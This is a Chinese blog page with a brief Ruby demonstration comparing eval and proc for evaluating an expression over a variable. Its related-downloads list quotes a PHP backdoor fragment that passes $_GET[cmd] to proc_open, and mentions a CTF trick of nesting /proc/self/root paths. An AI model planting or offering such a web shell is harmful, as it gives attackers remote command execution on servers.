`
tim.teng
  • 浏览: 9968 次
  • 性别: Icon_minigender_1
  • 来自: 上海
最近访客 更多访客>>
文章分类
社区版块
存档分类
最新评论

eval ,proc

阅读更多
On Behalf Of Damjan Rems:
# a1=10
# r= ?('a' + '1')  # ? is whatever, r should have value 10

<script type="text/javascript"></script> some simple ways,

A. using eval
>> a1=10
=> 10
>> macro="a1+1"
=> "a1+1"
>> eval(macro)
=> 11

B. using proc or lambda
>> macro2 = proc{a1+1}
=> #<Proc:0xb7dd6bcc@(irb):7>
>> a1=100
=> 100
>> macro2.call
=> 101

有时光记得eval却忘记了proc
分享到:
评论

相关推荐

    详解Ruby中的代码块对象Proc

    - `instance_eval`方法允许执行Proc对象中的代码,就像这段代码是在当前对象的上下文中定义的一样。因此,Proc对象可以访问到当前对象的实例变量和方法。 - 当在方法签名中使用`&`操作符时,表示该方法期望接收一个...

    CS5340-project:NUS CS5340不确定性建模项目

    CS5340-项目 NUS CS5340不确定性建模项目 抽象的 管道到Python的转换: 成分 在Python管道中的位置 完毕?... NBSR_core / + pml / + image_proc / convmtxn.m image_proc / convmtxn.py [X] NBSR_

    php后门木马常用命令.pdf

    $proc = @proc_open($_GET[cmd], $descriptorspec, $pipes); fclose($pipes[0]); $output = array(); while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n")); print_r($output);` ...

    TCL编程高级教程PPT课件.pptx

    使用`namespace eval`命令可以创建新的命名空间。例如: ``` namespace eval Counter { variable num 0 proc bump {} { variable num incr num } } ``` 3. **命名空间的查询和访问** - 要在外部访问命名...

    metaprogramming_introduction:一篇以源代码形式介绍Ruby元编程基础知识的文章-Form source code

    通过`eval`, `send`, `instance_eval`, `class_eval`, 动态方法定义,以及`Proc`和`Lambda`等工具,开发者能够创建出更具适应性和可扩展性的代码。在实际项目中,合理利用元编程可以提高代码的效率和可维护性,但...

    ruby-1.8.6.zip

    例如,`class_eval` 和 `instance_eval` 方法允许在运行时添加或修改类和实例的方法。 7. **Gem 包管理**:虽然在 1.8.6 时代,RubyGems 已经存在,但当时包管理和依赖关系解决不如现在的版本那么成熟。安装和管理...

    Ruby语言教程大纲.zip

    - `send` 方法可以调用对象的任何方法,`class_eval` 和 `instance_eval` 可以在运行时定义或修改类和实例的行为。 6. **Gem和Rails框架** - Gem是Ruby的包管理系统,用于安装和管理第三方库。 - Rails是基于...

    Ruby之路

    书中会讲解Ruby的`send`方法、`class_eval`、`instance_eval`,以及类和模块的定义方法。 4. **块、迭代器和 Proc**:Ruby中的块(Block)是代码的匿名封装,常与迭代器结合使用,如`each`、`map`等。Proc是块的可...

    chuankouLINK/LOCATE RUN COMPLETE. 0 WARNING(S), 0 ERROR(S

    ------- PROC MAIN C:0026H LINE# 6 C:0026H LINE# 7 C:0026H LINE# 8 C:0029H LINE# 9 C:002CH LINE# 10 C:002FH LINE# 11 C:0031H LINE# 12 C:0033H LINE# 13 C:0035H LINE# 14 C:0037H LINE# 15 C:...

    ruby使用文档

    - `class_eval`、`instance_eval`、`define_method`等方法可用于动态定义或修改类和方法。 8. **块与 Proc**: - 块是Ruby中的匿名函数,使用`do..end`或花括号`{}`定义。 - `Proc`对象可以存储块,与`lambda`...

    BUUCTF部分web题目

    在这个题目中,利用了`/proc/self/root`指向根目录的特性,通过多次嵌套`/proc/self/root`,最终达到访问特定文件的目的。 - **路径**: `proc/self/root`实际上是指向当前进程根目录的一个符号链接,即系统根目录`/`。...

    ruby官方chm文档

    理解如何使用`eval`、`class_eval`和`instance_eval`,以及如何利用`send`和`method_missing`进行消息传递,是提升Ruby编程技巧的关键。 《ruby23.chm》文档可能是整个Ruby语言的综合指南,可能包含前面几个文档的...

    ruby API资料

    `class_eval`和`instance_eval`等方法是实现元编程的关键。 - **块和 Proc**:Ruby的块(代码块)是通过`do..end`或花括号`{}`包裹的代码片段,可以传递给方法。Proc对象可以捕获和存储一个代码块,使得它可以被多...

    Ruby语言相关项目的示例

    - `class_eval`和`instance_eval`允许在运行时定义类或对象的方法。 - `send`和`public_send`方法可以动态调用对象的方法。 6. **Gem和Ruby生态系统** - Ruby的Gem是包管理系统,它包含了许多预构建的库和工具,...

    ror系列

    书中讲解了`send`方法、`class_eval`和`instance_eval`,以及如何通过反射机制操作对象和类。 10. **标准库和Gem**:Ruby拥有丰富的标准库和第三方Gem,这些资源极大地扩展了Ruby的功能。书中会介绍一些常用库和...

    Ruby Mind Map

    Ruby的`eval`函数可以执行字符串形式的代码,`instance_eval`和`class_eval`则可以在上下文中执行代码,这对于动态调整对象行为或者改变类结构非常有用。此外,Ruby的模块(Module)系统也是元编程的重要工具,模块...

    maple编程入门资料

    y := eval(x); # y 的值为 5 # 最后一次名评估 z := x; # z 的值为 x (即变量名) ``` 通过以上示例可以看出,Maple不仅提供了丰富的数学功能,还具备灵活的编程能力,使其成为解决各种数学问题的理想工具。无论是...

    ruby_1_9_3_core_rdocs.gz

    8. **元编程**:Ruby的元编程能力是其一大特色,通过`class_eval`、`instance_eval`和`define_method`等方法,可以在运行时动态修改类和对象的行为。 9. **线程与并发**:Ruby 1.9.3引入了全局解释器锁(GIL),...

Global site tag (gtag.js) - Google Analytics